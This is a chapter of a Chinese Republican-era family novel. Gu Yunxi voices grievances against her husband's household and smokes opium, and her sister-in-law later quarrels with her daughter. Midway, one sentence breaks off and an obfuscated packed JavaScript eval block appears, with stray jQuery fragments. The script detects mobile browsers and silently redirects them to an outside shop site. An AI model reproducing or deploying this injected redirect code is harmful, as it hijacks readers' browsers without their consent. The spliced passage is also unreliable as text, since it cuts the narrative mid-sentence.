快中午了,顾云喜带她嫂子和外甥女回她房里吃饭,辞了老太太,出了院子。
顾连惠一直沉默着,她倒不是不想说话,这事情在她看来怪有趣的,但这儿轮不着她说话——不大有人会听她的话,即便听了,一不小心就点了谁的炮仗了。走在院子里,她东张张西望望,想多停留一会儿的,谁知道她姑姑和母亲一点不留恋的,只顾走。她只好跟着。
走在曲折的回廊下,遇见几个端着点心的佣人,说是送去老太太房里。
顾云喜笑道:“老太太要吃?她不是最怕这些甜腻腻的东西?”
佣人回道:“小姐好像也在,前边流红姊叫人送的。”
顾云喜嗤的笑道:“纵成这样子!去吧。”
顾连惠叫住了人,拿了一块红绿丝芋泥糕,笑道:“告诉华月,我先替她尝一块。”
几个佣人都笑了,连声应道:“嗳,好。”
盛及春忽地问道:“刚刚怎么没见着何姨娘说话?上一次倒还说了几句,这次通没见她吭声。”
“她?打三棍子说不出一句好话,小家子气,我最瞧不上她。”顾云喜一边走一边说,末了停住了,扭头冷笑道:“你倒不知道,上一次说起老太太过寿送礼的事情,因着我们家里人不用送礼,老太太身边的流红笑话说:‘便宜太太小姐们了’,她倒吭声了!她是哪门子太太?有这个脸接话!你是我嫂子,至亲的亲人了,我掏心窝子和你说话,她这一次不说话,你以为为着什么?不过关系到公冶华月罢了,又早知道公冶华月不待见宋家那个的,她乐得顺水人情,一句话也不说,免得惹了小姐生气!她两个一个阵营的!也就我在这个家里孤零零的,一会儿为着这个,一会儿为了那个,嘴都说干了——有什么用!人家几个自己亲亲爱爱的,就我是外人!”
她扪心自问,做的事情虽然不是顶好的,也为了自己考量考量。但这个世道,人不为己天诛地灭的,这有什么错?她总觉得谁都欠她几分情,谁也没想着还。因此越说越委屈,忍不住呜咽起来。她极力地忍耐,嘴巴闭得死紧,然而嗓子里恐惧的颤抖怎么也忍不住,细细地挣出一些带着哭腔的颤音,更难听了。
绛雪连忙抽了方葱青洋绉汗巾要替她擦眼泪,忙劝道:“太太别这样,太太犯不着这样。别人再不讲良心,可我们身边的都知道,这家里没了太太不成的——谁真心为这个家着想?”
顾云喜红着眼睛流了些眼泪,慢慢地止住了,狠命扯了绛雪手上的汗巾子,自己给自己擦脸,冷哼道:“我也洗手不干了罢!这个家里,只怕老的还能比我多享几天福。哪一天我赶在她前头走了,那多冤枉呐!说出去谁不笑话?”
盛及春也劝道:“咱们自己心里知道便好,这人心隔肚皮,谁管得那么许多?以后大家在阴曹地府里见面,阎王爷算功德罪过,不怕给谁算错了。这会儿你左右是个太太,又是当家主母,身正不怕影子斜,做好自己份内的事罢了。说出去大家心里明镜似的。”
顾连惠闻言,微笑道:“妈,你就总信这个。姑姑这些事哪里说得到这么许远?人世的事情自己还弄不清楚呢,等黄泉下的给你算明白?照我看,也许何姨娘和表姊都没有那个意思嘛,怎么把人家想得那样坏!”
“我说我们惠丫头是个傻不愣登的,你总说她聪明着呢,什么都知道,什么也不用吩咐——她自己心里明白的。这会儿听听她说的什么话!还是个小孩!”顾云喜哼道,没站住了,仍往回走,又道:“你的婚事也不远了,这会儿你华月表姊的事情你也看见了——这是前车之鉴!以后别学着她这样,叫你父母和我没脸!”
顾连惠赶上去扶着她姑姑,给她顺了顺背,一面笑嘻嘻地道:“知道了,知道了。”
回了屋里,午饭已经摆上了。盛及春和顾连惠落座,却见顾云喜总不过来坐下,自顾自歪在小榻上躺着呢。
盛及春道:“怎么不过来吃饭?”
绛雪打套间里边出来,拿着管铜镀金的烟管子,一面递给顾云喜,一面从一只宝蓝金丝绣花香囊里拿出些烟丝鸦片,放到烟斗里,又擦了根细火柴给顾云喜点上了。
顾云喜吐了一口烟,哼道:“你们吃,我不乐意吃。抽两口也就饱了。”
盛及春瞧了眼连惠,见她不大见怪的样子,劝顾云喜道:“这鸦片烟虽然好,也不能当饭吃呐。这样下去,身子都空了,只剩下些白烟了。”她想起顾云喜最初是流了孩子后抽上的,后边顾承炳劝她收养别人的孩子,她顶不乐意,就那段时间抽得最凶。因道:“有段时间不是说戒了吗?这好端端的没什么事情,怎么又抽上了?我们女人最好还是不抽的。虽然有些烦心事,没什么了不得的,说出来也就好了。你身边又有绛雪、你哥哥、我和惠丫头,知冷知热的,抽它做什么?”
顾云喜不答,反问道:“我哥怎么还不见来?应麟说最近不怎么忙的。”
盛及春有些窘——她的丈夫总是不和她一块出席,今晚上免不了又请芙蓉大戏院的戏班子来唱戏,他又该往别处去留宿不回家了。半晌,只得道:“我不知道他,通没个商量的。虽然生意上不忙了,你知道,他朋友多,今天和这一个喝酒、明天到这个家里听戏,比总统还忙的。”
顾云喜忙着抽烟,只“唔,唔,唔”含糊地应了。她想起件事,眯着眼睛笑起来,很愉悦、没有一丝烦恼的样子,笑道:“嫂子,你也别说我是这家的正经太太了。那姨奶奶怀了龙胎了。上次我问应麟要给赏她些什么,我正正经经地说了她也不容易,刚进来的时候,谁也瞧不上她的,老太太还赶她到外边去住。你知道应麟和我说什么?”
她忍不住格格地笑起来,不小心被烟呛住了,眼睛泛起了泪花,一点一点地点在上面,闪亮的眼妆似的。她穿着件深紫色底子凤穿花宫锦袄,里子是明黄暗纹软缎,下边系同色的童子宫灯遍地金裙子——在这深深的庭院里竟不觉得热,只怕还冷;脚上的天青绣花鞋子没脱,踩在小榻下脚的雕花木条子上。她的脚缠过几年,不大成样子,最近这两年总往正常鞋码的鞋子里塞软缎——装文明脚,装作和当过大学生的何姨娘的脚一样。她以为公冶应麟会喜欢,没想着他连注意都没注意到的。
笑了几声,她又吃吃的笑道:“他说不知道该赏她什么,干脆扶她做正房太太好了。我倒说好,她来做太太,我做下堂妇好了!我回我的顾家去,眼不见心不烦,随他们公冶家怎么闹去。反正我在这个家里无儿无女——那两个我带了十几年的到底是别人生的,哪里和我有关系?我在这儿是无牵无挂的。说声走,我立马抬脚就走了。那公冶家的祠堂里还摆着天地君亲师的牌子呐!以前当过公侯将相有什么用!一代比一代还不成人!”
盛及春忙劝道:“你们夫妻两个说玩笑罢了,说急眼了便说过了,不当真的。”
顾云喜睁眼道:“说玩笑?不过借着说玩笑的名义说出来罢了!我看那话里全是他的真心——他早看我不顺眼的!在一张床上睡了十几年的夫妻了,他以为我还看不透他。”顿了顿,她又恨道:“你以后也少插手!做什么媒人?你做成了,他不欠你的;你没做成,现在这个地步,你以为他们背后没骂着你?”
盛及春劝不住,张了张她身边的绛雪,见她也难堪地微笑着,只好含糊地连声叹息。
一顿饭下来,盛及春母女两吃得不算快,那顾云喜也抽了一整顿饭的烟。她们吃好了,她还抽个不停,满屋子的烟味和白烟。盛及春看得怕了,又见劝不住,吃过饭坐不住,忙带了顾连惠到后边的客房休息。
顾云喜仍歪在榻上,像一只安安然死去的蝴蝶,两张对身子来说太大的翅膀蔫蔫地搭在地上,毫无生机,一种凄凉的华丽的死亡。她在白烟里摆手道:“叫佣人带你们过去,我就不起身了。”
盛及春道:“嗳,你多休息会儿吧,下午有得闹呢。”一面去了。
顾云喜见她们母女俩走进金黄的阳光里,越走越远,成了剪影似的,周身笼着朦朦胧胧的光芒。她们也走了。顾云喜卸下烟斗,一下下“咄,咄,咄”的不轻不重地将烟灰磕到黑地金丝裂纹檀木盘里,一下接着一下,一种散漫的无所谓的态度,敲在她的心上。
她重新点了烟,瞧着佣人来来回回地收碗筷盘子,末了绞了帕子仔细地擦餐桌。佣人在顾云喜面前卖力地工作,一手撑在桌沿上,一手拿着帕子,竭力俯身用力地擦拭餐桌,一心一意,像在做佛事似的,尽着一辈子的虔诚。只怕哪里没擦干净。来来回回地擦了几遍,想着再挑剔的人也挑不出错了,佣人才满意地收手,一边偷偷睨了顾云喜一眼。见她没吭声,佣人们又下去了。
那刚擦好的檀木八仙桌亮晶晶的,新抹了一汪油似的,像好容易找来的成色极好的棺材,诰命在身的老太太专用的那种。
忽然,外边回廊处传来咚咚的声音,实心圆木条子敲在地上的声音——是老太太的手杖声。顾云喜忽地坐了起来,仔细听了一会儿。
绛雪笑道:“太太要不要起来?一会儿老太太看见了。”
“看见便看见了!她还能打死我?她是婆婆,我是儿媳,不过两边应付应付规矩罢了,她管到我的头上来?我是卖给她家做丫鬟的?怕成这样!”顾云喜骂了几声,然而做好了站起来的准备。她抽鸦片是光明正大的,先是听了她哥哥顾承炳的意见,说是再三问了医生,可以缓解身上痛的,过后觉得不痛了戒了就是。她刚流了个孩子——年纪轻轻的妇人的孩子,谁看了也不忍心的,全家上下便不怎么敢有意见。后来她确实戒了,老太太还宽慰了她一场。再后来染上,她不敢叫老太太知道,都是躲在房里抽。
然而那敲木鱼似的声音渐渐地远了,原以为该直直地走过来的,但忽地转了个弯,进了幽深的地方。这会子听起来,倒比刚听见的时候还觉得远。那便是去何在蝉的房间。
顾云喜又躺下去了,叫绛雪去锁了院子的大门,哼笑道:“我现在不成人了,病病哼哼的,只靠抽两口烟缓缓——她来看我做什么?看她的乖孙才是正经大事!还是一泡尿在里头呢,能不能落地还不一定,倒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17785554|206699||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
看得比我们这活生生的人贵重。”
绛雪没敢应,出去院子里关门。
院子角落的梅子树结了青粲粲的梅子,一个一个热闹地挂在树上,糊了苹果绿软纱的小灯笼似的。下边一副青石桌凳,圆桌子,两头小中间大的腰鼓似的凳子,面上都是圆形的,一副小团圆的模样。从那儿走出来,一条鹅卵石小径,两边种着双色茉莉花,对着打开的窗户,一阵阵浓郁的茉莉花香送进去。那花香先是撞在一面宽大的镶奶油边的照身镜上,然后四处散开了,染到雕花衣橱那儿,密密层层的绸缎衣裳。翠蓝的镶荷叶边的丝绒窗帘、深藕粉暗纹帐子,搁在桌上的真丝绣花白团扇的杏黄穗子,这一切布料在茉莉的风中轻悠悠地荡起来,好似游园中上了小船似的。茉莉香的屋子,风悄悄地过来过去。
这屋子里又只剩下她了,和历朝历代的鬼。
盛及春出门后,见周围没有旁人,低低地向顾连惠道:“你看看你姑姑!神神叨叨的,满天下的人都对不住她似的,谁都欠她的钱一样!不说你父亲三天两头地不来,好歹我自己,哪次她家有事我不来的?听她那语气,连我都埋怨上了。”
顾连惠好笑道:“也就是妈,揽她家的事做什么?两头不讨好的。从前的事你都忘了?不是你总和我说姑姑爱抱怨人吗?每次来都要听她的怨言怨语的。那时是对着别人,这会儿可烧到你自己身上来了。”
盛及春批评道:“她不是你亲姑姑?她也是姓顾的,你也是姓顾的,你叫我不管她,我可不和你们一个姓!你也别说两头不讨好,这会儿我管了,连你都不体贴我的。”
顾连惠忙道:“好,好,好,你想管就管,不想管就不管。也别向我诉苦了,我可不管你们的事。”她耸着肩膀微笑着,真一副事不关己的样子。
盛及春见她这样,不由得来气,死命地戳她的肩膀道:“你就和你爸一个样!天生当皇帝的命!我管你们顾家一辈子,问你们一两句,人在身边倒也罢了,这十次有九次不在面前的!和你们说件事情都难!”
顾连惠见她母亲一副平日里忍耐多了、这会儿忍不住发作的怨妇的模样,心里不禁打了个寒颤,暗暗地瞧不起她母亲,知道她是为了父亲不着家的缘故,发作在她身上了。因道:“你留着这话和我爸爸说吧。今晚上唱戏,听说又是芙蓉大戏院的人,他一定来的。”
听到这话儿,盛及春心里一惊,以为顾连惠知道了,睨了她一眼道:“你从哪里听来的浑话?戏子来了,你父亲就来了,她们手上牵着你父亲的魂还是怎的?”
“捧戏子嘛!谁不知道?我也不是个小孩子了,你以为蒙得住我。”顾连惠哼道,见她母亲脸上开着惨淡的浅浅的微笑,又笑道:“你也别想着了,难不成他还要娶个戏子回家?这样不要脸面。你安心吧,做你的顾太太,谁能抢了去?”
她的话虽然如此说,但从她念了中学起,和同学交流起来了,知道许多人家里好几个姨奶奶的。她父亲风流惯了,自从她知道了原来外边的世界全然不同于母亲的忍耐和娴静,她便比一般人更厉害地知道这个社会的风险——姨奶奶是少不了的。她等着她父亲给她娶一房后母,到时候她母亲连闹都不敢闹吧?她的后母会是一个艳丽的官家小姐、一个相貌极好的贫家女还是妓子呢?别人家里这三两种情况都有的。可是终究没有等来,她说不上是松了口气还是失望,只是不大看得起她母亲了。
外边的人没有进到她的家里,那个死气沉沉、一成不变的家,只她父亲三天两头地在新世界里晃悠的,一点没有她的份,连新人也没办法看到。因此到她长大了,进了大学,可以相对自由地和人来往,虽然不大瞧得上给人做姨奶奶的,也已经不再期待父亲娶个情人回来,她比班上的任何一个女同学玩得更疯的,只怕待在家里空闲着——不得不听她母亲的抱怨。她像一只蝴蝶,在那风里不住地振翅,什么都要看个明白。
盛及春忍不住流下泪来,勉强笑道:“你个鬼灵精,这样说你父亲!”
顾连惠笑嘻嘻道:“姑姑那个样子,我看该送她去心理医生那儿看看。她那是多疑病!看谁都觉得谁要害她似的。”她刚刚在顾云喜的屋子里默默听了好一会儿的话,又抬头瞥了瞥她姑姑,觉得倒怪有趣的——她姑姑这样看她姑父。
盛及春道:“少胡说八咧的了!”说着理了理顾连惠的鬓发,嘱咐道:“快去睡一觉,别只顾着玩。晚上有得给你玩。你姑姑有句话倒说得不错,你华月表姊就是个前车之鉴!你比她小一两岁,婚事也不晚了。我告诉你,你踏踏实实的,别走了她的老路。她们公冶家丢得这个脸,我可丢不得!”
顾连惠不耐烦道:“好了好了,我这就去睡,别再念我了。”
盛及春望着她进了房间,脸上浅浅地笑着——预备顾连惠回头的时候给她看见,一个温暖的母亲的微笑。可是顾连惠兴兴头头地走了,门砰的一声关上。等不及地到另一个世界的样子。
盛及春狠命攥着方猩红软纱汗巾,恨道:“和她父亲一个样!”